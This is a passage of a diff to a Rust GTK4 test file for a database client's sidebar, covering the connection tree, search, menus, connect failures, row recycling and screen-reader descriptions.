+        gdk::BUTTON_PRIMARY,
+        gdk::ModifierType::CONTROL_MASK,
+        None
+    ));
+    shown.activate("orders");
+    shown.activate("Orders Archive");
 
-    shown.view.set_query("");
-    shown.view.apply_objects(&[], &public());
-    assert_eq!(placeholder(&shown.view), Some(("No Tables".to_owned(), None)));
+    assert_eq!(
+        events.take(),
+        [
+            SidebarEvent::OpenInNewTab(table("orders")),
+            SidebarEvent::Open(table("orders"))
+        ]
+    );
+    assert_eq!(
+        shown.fired(),
+        [("picker.connect".to_owned(), Some(beta.id.to_string()))]
+    );
 }
 
 #[gtk4::test]
-fn a_list_of_collections_says_so_when_it_is_empty() {
-    let shown = Shown::new(&["orders"], every_affordance());
-    shown.view.hold_collections();
+fn clearing_a_search_shows_the_rows_as_they_were() {
+    let alpha = connection("Alpha", Some("Work"));
+    let shown = Shown::new(&[alpha.clone(), connection("Beta", None)]);
+    let (view, _) = session(
+        &[
+            object("public", "orders"),
+            object("sales", "leads"),
+            object("audit", "log"),
+        ],
+        every_affordance(),
+    );
+    shown.open(&alpha, &view);
+    shown.row("public").set_expanded(true);
+    shown.row("sales").set_expanded(true);
+    let before = shown.rows();
+
+    shown.search("ord");
+    assert_eq!(shown.rows(), ["orders"]);
+    shown.search("");
 
-    shown.view.set_query("nothing like it");
+    assert_eq!(shown.rows(), before, "the search folded a row it had hidden");
+}
+
+#[gtk4::test]
+fn an_open_connection_with_nothing_to_list_says_so() {
+    let alpha = connection("Alpha", None);
+    let shown = Shown::new(std::slice::from_ref(&alpha));
+    let (view, _) = session(&[], every_affordance());
+
+    shown.open(&alpha, &view);
+
+    assert_eq!(shown.rows(), ["Alpha", "No Tables"]);
+    let placeholder = shown.row("No Tables");
+    shown
+        .pane()
+        .list_view
+        .emit_by_name::<()>("activate", &[&placeholder.position()]);
+    assert!(shown.fired().is_empty());
+    tables(&view, &["orders"]);
     assert_eq!(
-        placeholder(&shown.view),
-        Some((
-            "No Matching Collections".to_owned(),
-            Some("Try a different search.".to_owned())
-        ))
+        shown.rows(),
+        ["Alpha", "public", "orders"],
+        "a lone schema stays folded"
     );
-    shown.view.set_query("");
-    shown.view.apply_objects(&[], &public());
-    assert_eq!(placeholder(&shown.view), Some(("No Collections".to_owned(), None)));
 }
 
 #[gtk4::test]
 fn clearing_a_search_over_an_emptied_list_says_there_are_no_tables() {
-    let shown = Shown::new(&["orders"], every_affordance());
-    shown.view.set_query("zzz");
-    // An empty list under a search that matched nothing: no row changes.
-    shown.view.apply_objects(&[], &public());
+    let alpha = connection("Alpha", None);
+    let shown = Shown::new(std::slice::from_ref(&alpha));
+    let (view, _) = session(&[object("public", "orders")], every_affordance());
+    shown.open(&alpha, &view);
+
+    shown.search("alp");
+    assert_eq!(shown.rows(), ["Alpha"]);
+    tables(&view, &[]);
+    shown.search("");
+
+    assert_eq!(shown.rows(), ["Alpha", "No Tables"]);
+}
+
+#[gtk4::test]
+fn a_list_of_collections_or_keys_says_so_when_it_is_empty() {
+    let (documents, keys) = (connection("Docs", None), connection("Cache", None));
+    let shown = Shown::new(&[documents.clone(), keys.clone()]);
+    let (collections, _) = session(&[], every_affordance());
+    collections.hold_collections();
+    let (listing, _) = session(&[], every_affordance());
+    listing.hold_keys(|| {});
+    tables(&collections, &[]);
+    listing.show_keys(SidebarIndex::keys(&[], "Database 0".to_owned()), false);
+
+    shown.open(&documents, &collections);
+    shown.open(&keys, &listing);
+
+    assert_eq!(shown.rows(), ["Cache", "No Keys", "Docs", "No Collections"]);
+}
+
+#[gtk4::test]
+fn a_key_row_shows_its_type_beside_its_name() {
+    let cache = connection("Cache", None);
+    let shown = Shown::new(std::slice::from_ref(&cache));
+    let (view, _) = session(&[], every_affordance());
+    view.hold_keys(|| {});
+    let key = |name: &str, kind| ObjectInfo {
+        schema: None,
+        name: name.to_owned(),
+        kind: ObjectKind::Key(kind),
+    };
+    view.show_keys(
+        SidebarIndex::keys(
+            &[key("user:1", KeyKind::Hash), key("queue", KeyKind::List)],
+            "Database 0".to_owned(),
+        ),
+        false,
+    );
+
+    shown.open(&cache, &view);
 
-    shown.view.set_query("");
+    assert_eq!(
+        shown.rows(),
+        ["Cache", "Database 0", "queue", "user:1"],
+        "a lone database stays folded"
+    );
+    let row = shown.row_widget("user:1");
+    assert!(row.imp().kind.is_visible());
+    assert_eq!(row.imp().kind.label(), "Hash");
+    assert!(!shown.row_widget("Database 0").imp().kind.is_visible());
+}
+
+#[gtk4::test]
+fn a_row_tells_a_screen_reader_its_kind() {
+    let alpha = connection("Alpha", None);
+    let shown = Shown::new(&[alpha.clone(), connection("Beta", None)]);
+    let (view, _) = session(
+        &[
+            object("public", "orders"),
+            ObjectInfo {
+                kind: ObjectKind::View,
+                ..object("public", "totals")
+            },
+        ],
+        every_affordance(),
+    );
+    shown.open(&alpha, &view);
+    shown.row("public").set_expanded(true);
 
-    assert_eq!(placeholder(&shown.view), Some(("No Tables".to_owned(), None)));
+    let description = |name: &str| {
+        let row = shown.row_widget(name);
+        let item = row.imp().item.upgrade().expect("the row's item");
+        item.property::<Option<String>>("accessible-description")
+    };
+    assert_eq!(description("orders").as_deref(), Some("Table"));
+    assert_eq!(description("totals").as_deref(), Some("View"));
+    assert_eq!(description("public").as_deref(), Some("Schema"));
+    assert_eq!(description("Alpha").as_deref(), Some("Connection, connected"));
+    assert_eq!(description("Beta").as_deref(), Some("Connection"));
 }
 
 #[gtk4::test]
 fn rows_are_recycled_for_large_catalogs() {
+    let alpha = connection("Alpha", None);
+    let shown = Shown::new(std::slice::from_ref(&alpha));
     let owned = names(10_000);
     let borrowed: Vec<&str> = owned.iter().map(String::as_str).collect();
-    let shown = Shown::new(&borrowed, every_affordance());
-    wait_until(WAIT, || shown.list_view().height() > 0).expect("the list laid out");
+    let (view, _) = session(&[], every_affordance());
+    tables(&view, &borrowed);
+    shown.open(&alpha, &view);
+    wait_until(WAIT, || shown.pane().list_view.height() > 0).expect("the list laid out");
     drain_main_context();
 
-    let labels = descendants(&shown.list_view())
-        .into_iter()
-        .filter(|widget| widget.is::<gtk::Label>())
-        .count();
+    let rows = built(&shown.pane().list_view);
 
-    assert!(labels > 0, "no row was built at all");
+    assert!(rows > 0, "no row was built at all");
     // GtkListView keeps about 200 rows around its viewport, whatever the
-    // model holds, and the section header adds a label.
-    assert!(labels <= 210, "{labels} labels for 10,000 tables");
+    // model holds.
+    assert!(rows <= 210, "{rows} rows for 10,000 tables");
 }
 
+/// The tree opens a schema through GtkTreeListModel, which reads every
+/// table of it; what the search finds is a flat list, which reads only
+/// the rows on screen.
 #[gtk4::test]
-fn a_search_makes_only_the_rows_it_shows() {
-    let owned = names(10_000);
+fn a_search_over_an_open_schema_of_50000_tables_makes_only_the_rows_on_screen() {
+    let alpha = connection("Alpha", None);
+    let shown = Shown::new(std::slice::from_ref(&alpha));
+    let owned = names(50_000);
     let borrowed: Vec<&str> = owned.iter().map(String::as_str).collect();
-    let shown = Shown::new(&borrowed, every_affordance());
-    wait_until(WAIT, || shown.list_view().height() > 0).expect("the list laid out");
-    shown.view.sync_selection(Some(&table("t09999")));
+    let (view, _) = session(&[], every_affordance());
+    tables(&view, &borrowed);
+    let key = shown.open(&alpha, &view);
+    wait_until(WAIT, || shown.pane().list_view.height() > 0).expect("the tree laid out");
+    assert!(
+        built(&shown.inner().tree.list_view) <= 210,
+        "the tree built a row per table"
+    );
+    shown.tree.select(Some(&key), Some(&table("t49999")));
 
-    for query in ["t0", "9", "t09", ""] {
-        shown.view.set_query(query);
+    for (query, matching) in [("t", 50_000), ("t0", 10_000), ("t4", 10_000), ("t49", 1_000)] {
+        shown.search(query);
+        let list_view = shown.inner().found.list_view.clone();
+        wait_until(WAIT, || list_view.is_mapped() && built(&list_view) > 0).expect("the results on screen");
         drain_main_context();
+
+        assert_eq!(found(&view), matching, "{query}");
+        assert!(built(&list_view) <= 210, "{} rows built for {query}", built(&list_view));
+        // GtkListView keeps about 200 rows around its viewport; a list
+        // that made one per table found would make thousands.
+        let made = made_found(&view);
+        assert!(made <= 250, "{made} rows made for {query}");
     }
 
-    assert_eq!(shown.view.selected_table(), Some(table("t09999")));
-    // GtkListView keeps about 200 rows around its viewport; a list that
-    // made one per table would reach 10,000.
-    assert!(
-        shown.view.made() <= 1_000,
-        "{} rows made for 10,000 tables",
-        shown.view.made()
+    assert_eq!(
+        shown.selected().as_deref(),
+        Some("t49999"),
+        "the selection left the table in front"
     );
+    shown.search("");
+    assert_eq!(shown.selected().as_deref(), Some("t49999"));
+}
+
+/// GtkListView rebuilds the rows around its scroll position on every
+/// change, so a search over many schemas takes rows out of what it
+/// finds once and puts rows in once, not once per schema.
+#[gtk4::test]
+fn a_search_over_a_hundred_schemas_changes_what_it_finds_twice() {
+    let alpha = connection("Alpha", None);
+    let shown = Shown::new(std::slice::from_ref(&alpha));
+    let schemas: Vec<SchemaInfo> = (0..100).map(|at| schema(&format!("tenant_{at:03}"), at == 0)).collect();
+    let objects: Vec<ObjectInfo> = schemas
+        .iter()
+        .flat_map(|schema| ["kiwi", "kumquat", "yuzu"].map(|name| object(&schema.name, name)))
+        .collect();
+    let view = SidebarView::new(|_| {}, every_affordance(), None);
+    view.show(SidebarIndex::build(&objects, &schemas));
+    shown.open(&alpha, &view);
+    shown.search("k");
+    let list_view = shown.inner().found.list_view.clone();
+    wait_until(WAIT, || list_view.is_mapped() && built(&list_view) > 0).expect("the results on screen");
+    let seen = Rc::new(RefCell::new(Vec::new()));
+    let log = seen.clone();
+    shown
+        .inner()
+        .results
+        .connect_items_changed(move |_, position, removed, added| {
+            log.borrow_mut().push((position, removed, added));
+        });
+
+    shown.search("ki");
+
+    assert_eq!(found(&view), 100);
+    assert_eq!(*seen.borrow(), [(0, 200, 0), (0, 0, 100)]);
 }
 
 #[gtk4::test]
@@ -240,44 +835,310 @@ fn a_list_and_its_searches_are_worked_out_off_the_gtk_thread() {
     let objects: Vec<ObjectInfo> = names(20_000).iter().map(|name| object("public", name)).collect();
 
     view.show(SidebarIndex::build(&objects, &public()));
-    assert_eq!(view.shown(), 0, "the GTK thread worked out the list's rows");
-    wait_until(WAIT, || view.shown() == 20_000).expect("the list's rows");
-    view.sync_selection(Some(&table("t19999")));
+    assert_eq!(listed(&view), 0, "the GTK thread worked out the list's rows");
+    wait_until(WAIT, || listed(&view) == 20_000).expect("the list's rows");
     for query in ["t1", "t19", "t19999"] {
         view.set_query(query);
     }
 
-    assert_eq!(view.shown(), 20_000, "the GTK thread worked out a search's rows");
-    wait_until(WAIT, || view.shown() == 1).expect("the last search's rows");
+    assert!(!view.settled(), "the GTK thread worked out a search's rows");
+    wait_until(WAIT, || view.settled()).expect("the last search's rows");
+    assert_eq!(found(&view), 1);
+    assert_eq!(listed(&view), 20_000, "a search changed the session's tables");
+    view.shutdown();
+}
+
+#[gtk4::test]
+fn activating_a_table_opens_it() {
+    let alpha = connection("Alpha", None);
+    let shown = Shown::new(std::slice::from_ref(&alpha));
+    let (view, events) = session(&[object("public", "a"), object("public", "d")], every_affordance());
+    shown.open(&alpha, &view);
+
+    assert!(shown.pane().list_view.is_single_click_activate());
+    shown.activate("d");
+
+    assert_eq!(events.take(), [SidebarEvent::Open(table("d"))]);
+}
+
+#[gtk4::test]
+fn activating_a_closed_connection_connects_and_an_open_one_comes_forward_as_it_is() {
+    let (alpha, beta) = (connection("Alpha", None), connection("Beta", None));
+    let shown = Shown::new(&[alpha.clone(), beta.clone()]);
+    let (view, _) = session(&[object("public", "orders")], every_affordance());
+    let key = shown.open(&alpha, &view);
+
+    shown.activate("Beta");
+    shown.activate("Alpha");
+
     assert_eq!(
-        view.selected_table(),
-        Some(table("t19999")),
-        "the selection did not come back"
+        shown.fired(),
+        [
+            ("picker.connect".to_owned(), Some(beta.id.to_string())),
+            ("win.show-session".to_owned(), target(&key)),
+        ]
     );
-    view.shutdown();
+    assert!(shown.row("Alpha").is_expanded(), "bringing Alpha forward folded it");
 }
 
 #[gtk4::test]
-fn single_click_activation_opens_table() {
-    let shown = Shown::new(&["a", "b", "c", "d", "e"], every_affordance());
+fn an_open_connection_offers_to_disconnect_from_its_row() {
+    let alpha = connection("Alpha", None);
+    let shown = Shown::new(&[alpha.clone(), connection("Beta", None)]);
+    let (view, _) = session(&[object("public", "orders")], every_affordance());
+    let key = shown.open(&alpha, &view);
+
+    let eject = shown.row_widget("Alpha").imp().eject.clone();
+    assert!(eject.is_visible());
+    assert!(!shown.row_widget("Beta").imp().eject.is_visible());
+    crate::test_support::assert_labelled(&eject).expect("the Disconnect button is named");
+    eject.emit_clicked();
+    drain_main_context();
 
-    assert!(shown.list_view().is_single_click_activate());
-    shown.list_view().emit_by_name::<()>("activate", &[&3u32]);
+    assert_eq!(shown.fired(), [("win.disconnect-session".to_owned(), target(&key))]);
+}
+
+#[gtk4::test]
+fn a_connect_shows_a_spinner_and_offers_to_stop() {
+    let alpha = connection("Alpha", None);
+    let shown = Shown::new(std::slice::from_ref(&alpha));
+    let unsaved = SessionKey::Saved(Uuid::new_v4());
+    let alpha_key = SessionKey::Saved(alpha.id);
+
+    shown.tree.set_connects(&[
+        (alpha_key.clone(), "Alpha".to_owned()),
+        (unsaved.clone(), "From the Dialog".to_owned()),
+    ]);
+
+    assert_eq!(shown.rows(), ["Alpha", "From the Dialog"]);
+    assert!(shown.row_widget("From the Dialog").imp().spinner.is_visible());
+    shown.menu("From the Dialog");
+    let popover = shown.popover();
+    assert!(popover.is_visible());
+    let items = popover.menu_model().map(|menu| menu_items(&menu)).unwrap_or_default();
+    assert_eq!(items.len(), 1, "{items:?}");
+    assert_eq!(items[0].0, "win.stop-connecting");
+    assert_eq!(
+        items[0].1.as_ref().and_then(|target| target.get::<String>()),
+        target(&unsaved)
+    );
+    popover.popdown();
+    shown.activate("Alpha");
+    assert!(shown.fired().is_empty(), "a connecting row connected again");
 
-    assert_eq!(shown.taken(), [SidebarEvent::Open(table("d"))]);
+    shown.tree.set_connects(&[]);
+    assert_eq!(shown.rows(), ["Alpha"], "a stopped connect left its row");
+    assert!(!shown.row_widget("Alpha").imp().spinner.is_visible());
 }
 
 #[gtk4::test]
-fn secondary_press_selects_row_and_opens_menu() {
-    let shown = Shown::new(&["a", "b", "c", "d", "e", "f", "g"], every_affordance());
+fn a_failed_connect_leaves_nothing_open_and_says_why() {
+    let alpha = connection("Alpha", None);
+    let shown = Shown::new(std::slice::from_ref(&alpha));
+    let key = SessionKey::Saved(alpha.id);
+    shown.tree.set_connects(&[(key.clone(), "Alpha".to_owned())]);
+
+    shown.tree.set_connects(&[]);
+    shown.tree.set_failure(&key, Some(("Alpha", "Connection refused")));
+
+    let row = shown.row("Alpha");
+    assert!(!row.is_expandable() && !row.is_expanded());
+    let widget = shown.row_widget("Alpha");
+    assert!(widget.imp().problem.is_visible());
+    assert_eq!(
+        widget.imp().problem.tooltip_text().as_deref(),
+        Some("Connection refused")
+    );
+    shown.menu("Alpha");
+    let actions = menu_actions(&shown.popover());
+    assert_eq!(
+        actions[..2],
+        ["picker.connect", "win.show-connect-failure"],
+        "{actions:?}"
+    );
+    shown.popover().popdown();
 
-    let claimed = shown
-        .view
-        .inner()
-        .pressed(5, gdk::BUTTON_SECONDARY, gdk::ModifierType::empty(), None);
+    shown.tree.set_failure(&key, None);
+    assert!(!widget.imp().problem.is_visible());
+}
+
+/// A failed connect no saved connection names, a file or one typed in
+/// the connect dialog, keeps a row of its own, which says why and goes
+/// once the window lets the failure go.
+#[gtk4::test]
+fn a_failed_connect_with_no_saved_connection_keeps_a_row_until_let_go() {
+    let alpha = connection("Alpha", None);
+    let shown = Shown::new(std::slice::from_ref(&alpha));
+    let key = SessionKey::File("file:///srv/shop.db".to_owned());
+
+    shown.tree.set_failure(&key, Some(("shop.db", "No such file")));
+
+    assert_eq!(shown.rows(), ["Alpha", "shop.db"], "the failure has no row");
+    shown.menu("shop.db");
+    let actions = menu_actions(&shown.popover());
+    assert_eq!(
+        actions,
+        ["win.show-connect-failure", "win.forget-connect-failure"],
+        "{actions:?}"
+    );
+    shown.popover().popdown();
+    shown.activate("shop.db");
+    assert_eq!(
+        shown.fired(),
+        [(
+            "win.show-connect-failure".to_owned(),
+            Some("file:file:///srv/shop.db".to_owned())
+        )],
+        "activating the row did not say why"
+    );
+
+    shown.tree.set_failure(&key, None);
+    assert_eq!(shown.rows(), ["Alpha"], "a failure let go left its row");
+}
+
+#[gtk4::test]
+fn a_lost_session_says_so_on_its_row() {
+    let alpha = connection("Alpha", None);
+    let shown = Shown::new(std::slice::from_ref(&alpha));
+    let (view, _) = session(&[object("public", "orders")], every_affordance());
+    let key = shown.open(&alpha, &view);
+    let widget = shown.row_widget("Alpha");
+
+    shown.tree.set_session_state(&key, SessionRowState::Busy);
+    assert!(widget.imp().spinner.is_visible() && !widget.imp().eject.is_visible());
+    shown
+        .tree
+        .set_session_state(&key, SessionRowState::Trouble("The server went away".to_owned()));
+    assert!(widget.imp().problem.is_visible() && !widget.imp().spinner.is_visible());
+    assert_eq!(
+        widget.imp().problem.tooltip_text().as_deref(),
+        Some("The server went away")
+    );
+    shown.tree.set_session_state(&key, SessionRowState::Ready);
+    assert!(widget.imp().eject.is_visible() && !widget.imp().problem.is_visible());
+}
+
+#[gtk4::test]
+fn a_closed_session_lists_nothing_and_leaves_the_others_open() {
+    let (alpha, beta) = (connection("Alpha", None), connection("Beta", None));
+    let shown = Shown::new(&[alpha.clone(), beta.clone()]);
+    let (alpha_view, _) = session(&[object("public", "orders")], every_affordance());
+    let (beta_view, _) = session(&[object("public", "users")], every_affordance());
+    let key = shown.open(&alpha, &alpha_view);
+    shown.open(&beta, &beta_view);
+    shown.tree.select(Some(&key), Some(&table("orders")));
+
+    shown.tree.remove_session(&key);
+
+    assert_eq!(shown.rows(), ["Alpha", "Beta", "public", "users"]);
+    assert!(!shown.row("Alpha").is_expandable());
+    assert_eq!(shown.selected(), None, "the closed session kept its row selected");
+}
+
+#[gtk4::test]
+fn a_file_no_saved_connection_names_has_a_row_of_its_own() {
+    let shown = Shown::new(&[connection("Alpha", None)]);
+    let key = SessionKey::File("file:///home/me/sales.db".to_owned());
+    let (view, _) = session(&[object("main", "orders")], every_affordance());
+
+    shown.tree.add_session(&key, "sales.db", &view);
+
+    assert_eq!(
+        shown.rows(),
+        ["Alpha", "sales.db", "main", "orders"],
+        "a lone schema stays folded"
+    );
+    shown.search("sales");
+    assert_eq!(shown.rows()[0], "sales.db");
+    shown.search("");
+    shown.tree.remove_session(&key);
+    assert_eq!(shown.rows(), ["Alpha"]);
+}
+
+#[gtk4::test]
+fn the_tree_selects_the_table_in_front_or_its_connection() {
+    let alpha = connection("Alpha", Some("Work"));
+    let shown = Shown::new(&[alpha.clone(), connection("Beta", None)]);
+    let (view, _) = session(
+        &[
+            object("public", "orders"),
+            object("public", "users"),
+            object("sales", "leads"),
+        ],
+        every_affordance(),
+    );
+    let key = shown.open(&alpha, &view);
+    shown.row("Work").set_expanded(false);
+
+    shown.tree.select(Some(&key), None);
+    assert_eq!(
+        shown.selected().as_deref(),
+        Some("Alpha"),
+        "the group was not opened to the connection"
+    );
+
+    shown.tree.select(Some(&key), Some(&table("users")));
+    assert_eq!(shown.selected().as_deref(), Some("users"));
+
+    shown.tree.select(Some(&SessionKey::Saved(Uuid::new_v4())), None);
+    assert_eq!(
+        shown.selected(),
+        None,
+        "a connection the tree lacks kept a row selected"
+    );
+}
+
+#[gtk4::test]
+fn the_selection_follows_the_tab_and_survives_a_new_list() {
+    let alpha = connection("Alpha", None);
+    let shown = Shown::new(std::slice::from_ref(&alpha));
+    let (view, _) = session(
+        &[object("public", "orders"), object("public", "users")],
+        every_affordance(),
+    );
+    let key = shown.open(&alpha, &view);
+
+    shown.tree.select(Some(&key), Some(&table("users")));
+    tables(&view, &["accounts", "orders", "users"]);
+    assert_eq!(
+        shown.selected().as_deref(),
+        Some("users"),
+        "the new list dropped the selection"
+    );
+
+    shown.row("public").set_expanded(false);
+    shown.tree.select(Some(&key), Some(&table("users")));
+    assert_eq!(
+        shown.selected().as_deref(),
+        Some("Alpha"),
+        "the same tab opened a row the user folded"
+    );
+
+    shown.tree.select(None, None);
+    assert_eq!(shown.selected(), None, "no tab, yet a row selected");
+}
+
+#[gtk4::test]
+fn secondary_press_selects_the_row_and_opens_its_menu() {
+    let alpha = connection("Alpha", None);
+    let shown = Shown::new(std::slice::from_ref(&alpha));
+    let (view, events) = session(
+        &["a", "b", "c", "d", "e", "f"].map(|name| object("public", name)),
+        every_affordance(),
+    );
+    shown.open(&alpha, &view);
+    let position = shown.position("f");
+
+    let claimed = shown.inner().pressed(
+        Which::Tree,
+        position,
+        gdk::BUTTON_SECONDARY,
+        gdk::ModifierType::empty(),
+        None,
+    );
 
     assert!(claimed, "the row's own click would also run");
-    assert_eq!(shown.selection().selected(), 5);
+    assert_eq!(shown.selected().as_deref(), Some("f"));
     let popover = shown.popover();
     assert!(popover.is_visible(), "the menu did not open");
     let model = popover.menu_model().expect("a menu model");
@@ -289,22 +1150,33 @@ fn secondary_press_selects_row_and_opens_menu() {
         targets.iter().all(|key| key.as_ref() == Some(&ObjectKey(table("f")))),
         "{targets:?}"
     );
+    WidgetExt::activate_action(
+        &popover,
+        "sidebar.open-in-new-tab",
+        Some(&ObjectKey(table("f")).to_variant()),
+    )
+    .expect("the session's actions reach the menu");
     popover.popdown();
-    assert!(shown.taken().is_empty(), "opening the menu opened the table");
+    assert_eq!(events.take(), [SidebarEvent::OpenInNewTab(table("f"))]);
 }
 
 #[gtk4::test]
 fn ctrl_click_and_middle_click_open_a_new_tab() {
-    let shown = Shown::new(&["a", "b", "c"], every_affordance());
-    let inner = shown.view.inner().clone();
-
-    assert!(inner.pressed(1, gdk::BUTTON_PRIMARY, gdk::ModifierType::CONTROL_MASK, None));
-    assert!(!inner.pressed(1, gdk::BUTTON_PRIMARY, gdk::ModifierType::empty(), None));
-    assert!(!inner.pressed(2, gdk::BUTTON_MIDDLE, gdk::ModifierType::empty(), None));
+    let alpha = connection("Alpha", None);
+    let shown = Shown::new(std::slice::from_ref(&alpha));
+    let (view, events) = session(&["a", "b", "c"].map(|name| object("public", name)), every_affordance());
+    shown.open(&alpha, &view);
+    let inner = shown.inner();
+
+    let press =
+        |name: &str, button, modifiers| inner.pressed(Which::Tree, shown.position(name), button, modifiers, None);
+    assert!(press("b", gdk::BUTTON_PRIMARY, gdk::ModifierType::CONTROL_MASK));
+    assert!(!press("b", gdk::BUTTON_PRIMARY, gdk::ModifierType::empty()));
+    assert!(!press("c", gdk::BUTTON_MIDDLE, gdk::ModifierType::empty()));
     assert!(inner.released(gdk::BUTTON_MIDDLE));
 
     assert_eq!(
-        shown.taken(),
+        events.take(),
         [
             SidebarEvent::OpenInNewTab(table("b")),
             SidebarEvent::OpenInNewTab(table("c"))
@@ -314,57 +1186,190 @@ fn ctrl_click_and_middle_click_open_a_new_tab() {
 
 #[gtk4::test]
 fn a_middle_click_opens_the_table_it_was_pressed_on() {
-    let shown = Shown::new(&["a", "b", "c"], every_affordance());
-    let inner = shown.view.inner().clone();
+    let alpha = connection("Alpha", None);
+    let shown = Shown::new(std::slice::from_ref(&alpha));
+    let (view, events) = session(&["a", "b", "c"].map(|name| object("public", name)), every_affordance());
+    shown.open(&alpha, &view);
+    let inner = shown.inner();
     assert!(
         !inner.released(gdk::BUTTON_MIDDLE),
         "a release with no press opened a table"
     );
-
-    inner.pressed(1, gdk::BUTTON_MIDDLE, gdk::ModifierType::empty(), None);
-    // A refresh lands between the press and the release, and binds the
-    // pressed row to another table.
-    shown.view.apply_objects(
-        &[
-            object("public", "a"),
-            object("public", "aa"),
-            object("public", "b"),
-            object("public", "c"),
-        ],
-        &public(),
+    let position = shown.position("b");
+
+    inner.pressed(
+        Which::Tree,
+        position,
+        gdk::BUTTON_MIDDLE,
+        gdk::ModifierType::empty(),
+        None,
     );
+    // A refresh lands between the press and the release, and puts
+    // another table where the pressed row was.
+    tables(&view, &["a", "aa", "b", "c"]);
 
     assert!(inner.released(gdk::BUTTON_MIDDLE));
-    assert_eq!(shown.taken(), [SidebarEvent::OpenInNewTab(table("b"))]);
+    assert_eq!(events.take(), [SidebarEvent::OpenInNewTab(table("b"))]);
+}
+
+#[gtk4::test]
+fn the_connection_menu_holds_the_pickers_items() {
+    let (alpha, beta) = (connection("Alpha", None), connection("Beta", Some("Work")));
+    let shown = Shown::new(&[alpha.clone(), beta.clone()]);
+    let (view, _) = session(&[object("public", "orders")], every_affordance());
+    shown.open(&alpha, &view);
+    shown.row("Work").set_expanded(true);
+    let popover = shown.popover();
+
+    shown.menu("Beta");
+    let closed = popover.menu_model().map(|menu| menu_items(&menu)).unwrap_or_default();
+    popover.popdown();
+    shown.menu("Alpha");
+    let open = menu_actions(&popover);
+    let group = popover
+        .menu_model()
+        .map(|menu| menu_items(&menu))
+        .unwrap_or_default()
+        .into_iter()
+        .find(|(action, _)| action == "picker-row.group");
+    popover.popdown();
+
+    let actions: Vec<&str> = closed.iter().map(|(action, _)| action.as_str()).collect();
+    for action in [
+        "picker.connect",
+        "picker.edit",
+        "picker.duplicate",
+        "picker-row.color",
+        "picker-row.group",
+        "picker.new-group",
+        "picker.delete",
+    ] {
+        assert!(actions.contains(&action), "{action} missing from {actions:?}");
+    }
+    let id = beta.id.to_string();
+    assert!(
+        closed
+            .iter()
+            .filter(|(action, _)| action.starts_with("picker."))
+            .all(
+                |(_, target)| target.as_ref().and_then(|target| target.get::<String>()).as_deref() == Some(id.as_str())
+            )
+    );
+    assert_eq!(
+        open[..3],
+        ["win.new-query-in", "win.refresh-in", "win.disconnect-session"],
+        "{open:?}"
+    );
+    assert!(!open.contains(&"picker.connect".to_owned()));
+    assert!(open.contains(&"picker.delete".to_owned()));
+    assert!(group.is_some(), "Move to Group has no choices");
+    let state = WidgetExt::activate_action(&popover, "picker-row.group", Some(&"Work".to_variant()));
+    assert!(state.is_ok(), "the menu's choices reach no action");
+}
+
+#[gtk4::test]
+fn the_schema_menu_follows_the_dialect() {
+    let alpha = connection("Alpha", None);
+    let shown = Shown::new(std::slice::from_ref(&alpha));
+    let (view, events) = session(
+        &[object("public", "orders"), object("sales", "leads")],
+        every_affordance(),
+    );
+    shown.open(&alpha, &view);
+    let popover = shown.popover();
+
+    shown.menu("sales");
+    assert_eq!(
+        menu_actions(&popover),
+        ["sidebar.new-table", "sidebar.show-schema-diagram"]
+    );
+    for action in ["sidebar.new-table", "sidebar.show-schema-diagram"] {
+        WidgetExt::activate_action(&popover, action, Some(&Some("sales").to_variant())).expect(action);
+    }
+    popover.popdown();
+    assert_eq!(
+        events.take(),
+        [
+            SidebarEvent::NewTable(Some("sales".to_owned())),
+            SidebarEvent::ShowDiagram(Some("sales".to_owned()))
+        ]
+    );
+
+    view.set_affordances(SidebarAffordances {
+        can_create_table: false,
+        ..every_affordance()
+    });
+    shown.menu("sales");
+    assert_eq!(menu_actions(&popover), ["sidebar.show-schema-diagram"]);
+    popover.popdown();
+}
+
+#[gtk4::test]
+fn collections_and_keys_offer_no_er_diagram() {
+    let (documents, cache) = (connection("Docs", None), connection("Cache", None));
+    let shown = Shown::new(&[documents.clone(), cache.clone()]);
+    let (collections, collection_events) = session(
+        &[object("shop", "orders")],
+        SidebarAffordances {
+            can_create_table: false,
+            can_edit_structure: false,
+            speaks_sql: false,
+            ..every_affordance()
+        },
+    );
+    collections.hold_collections();
+    let (keys, key_events) = session(&[], every_affordance());
+    keys.hold_keys(|| {});
+    keys.show_keys(
+        SidebarIndex::keys(
+            &[ObjectInfo {
+                schema: None,
+                name: "user:1".to_owned(),
+                kind: ObjectKind::Key(KeyKind::Hash),
+            }],
+            "db0".to_owned(),
+        ),
+        false,
+    );
+    shown.open(&documents, &collections);
+    shown.open(&cache, &keys);
+    let popover = shown.popover();
+
+    shown.menu("shop");
+    assert!(!popover.is_visible(), "documents have no keys to draw");
+    shown.menu("db0");
+    assert!(!popover.is_visible(), "keys have no diagram");
+    keys.actions()
+        .activate_action("show-schema-diagram", Some(&None::<String>.to_variant()));
+    collections
+        .actions()
+        .activate_action("show-schema-diagram", Some(&Some("shop").to_variant()));
+    assert!(collection_events.take().is_empty() && key_events.take().is_empty());
 }
 
 #[gtk4::test]
 fn context_menu_action_carries_object_key() {
-    let shown = Shown::new(&["orders", "users"], every_affordance());
-    let list_view = shown.list_view();
+    let (view, events) = session(
+        &[object("public", "orders"), object("public", "users")],
+        every_affordance(),
+    );
+    let actions = view.actions();
     let key = ObjectKey(table("users")).to_variant();
 
     for action in [
-        "sidebar.open-in-new-tab",
-        "sidebar.edit-structure",
-        "sidebar.show-create-table",
-        "sidebar.import-csv",
-        "sidebar.drop-table",
+        "open-in-new-tab",
+        "edit-structure",
+        "show-create-table",
+        "import-csv",
+        "drop-table",
     ] {
-        list_view.activate_action(action, Some(&key)).expect(action);
+        actions.activate_action(action, Some(&key));
     }
-    list_view
-        .activate_action(
-            "sidebar.drop-table",
-            Some(&(None::<String>, String::new()).to_variant()),
-        )
-        .expect("the action");
-    list_view
-        .activate_action("sidebar.drop-table", Some(&ObjectKey(table("gone")).to_variant()))
-        .expect("the action");
+    actions.activate_action("drop-table", Some(&(None::<String>, String::new()).to_variant()));
+    actions.activate_action("drop-table", Some(&ObjectKey(table("gone")).to_variant()));
 
     assert_eq!(
-        shown.taken(),
+        events.take(),
         [
             SidebarEvent::OpenInNewTab(table("users")),
             SidebarEvent::EditStructure(table("users")),
@@ -378,273 +1383,156 @@ fn context_menu_action_carries_object_key() {
 
 #[gtk4::test]
 fn a_read_only_connection_refuses_writes_from_a_stale_menu() {
-    let shown = Shown::new(
-        &["orders"],
+    let (view, events) = session(
+        &[object("public", "orders")],
         SidebarAffordances {
             read_only: true,
